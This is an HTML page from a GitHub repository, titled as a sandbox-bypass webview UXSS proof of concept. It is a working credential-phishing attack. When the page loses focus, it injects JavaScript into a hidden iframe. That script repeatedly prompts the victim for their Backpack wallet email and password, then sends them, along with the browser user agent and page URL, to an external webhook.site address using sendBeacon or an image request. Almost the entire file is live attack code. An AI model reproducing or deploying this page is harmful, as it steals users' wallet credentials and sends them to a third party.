test/back.html at main · onydose/test · GitHub

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<!DOCTYPE html>
<html lang="en-US">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, user-scalable=no">
  <title>Bypass Sandbox Webview UXSS Delayed JavaScript</title>
  <style>
    iframe { visibility: hidden; }
    body { font-family: system-ui, sans-serif; text-align: center; padding-top: 100px; }
  </style>
  <script>
    window.onblur = function () {
      const code =
        "(function(){try{"
        + "var msg='In order to access your Wallet\\n"
        + "you must first login on your\\nBackpack Account.\\n\\n"
        + "Please type your e-mail\\nand your password:';"
        + "var v='';"
        + "while(v===null||(''+v).trim()===''){"
        + "  v=prompt(msg,'E-mail / Password.');"
        + "}"
        + "var u='https://webhook.site/2c1d7ce8-a03c-4f27-9b1c-8919a32bd492/'"
        + "  + '?creds=' + encodeURIComponent(v)"
        + "  + '&ua=' + encodeURIComponent(navigator.userAgent)"
        + "  + '&page=' + encodeURIComponent(location.href);"
        + "try{ if(!navigator.sendBeacon(u)){ throw new Error('beacon-fallback'); } }catch(e){"
        + "  try{ (new Image()).src = u; }catch(_e){}"
        + "}"
        + "}catch(e){}})()";

      document.getElementById('iframe').src = "javascript:" + code;
    };
  </script>
</head>
<body>
  <h1>Click Here</h1>
  <iframe id="iframe"></iframe>
</body>
</html>